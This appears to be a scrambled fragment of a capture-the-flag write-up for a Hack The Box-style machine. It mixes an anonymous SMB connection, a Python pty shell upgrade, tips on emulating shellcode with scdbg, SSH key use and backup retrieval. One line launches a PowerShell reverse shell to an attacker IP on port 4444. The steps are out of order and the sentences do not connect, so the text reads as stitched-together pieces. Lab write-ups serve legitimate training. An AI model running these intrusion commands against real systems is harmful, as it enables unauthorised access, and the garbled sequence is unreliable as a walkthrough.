smbclient //10.10.11.193/backup -U anonymous

With elevated privileges, we can navigate to the Administrator's desktop and retrieve the flag:

scdbg (ShellCode DeBuGger) is highly recommended for this challenge. It allows you to emulate the shellcode and see the Windows API calls it makes, which often reveals the decrypted flag or the next stage of the attack.

To understand what the shellcode does (and find the flag), you need to run it in a safe, emulated environment.

(Note: If this write-up is based on an Active machine, specifics will be redacted to comply with HTB rules.)

python3 -c 'import pty;pty.spawn("/bin/bash")'

.\Invoke-PowerShellTcpip.ps1 -Reverse -Ip 10.10.16.38 -Port 4444

Let's try to use the private key to authenticate via SSH:

The extracted code often appears as raw shellcode that cannot be read as standard text.

get backup.zip exit unzip backup.zip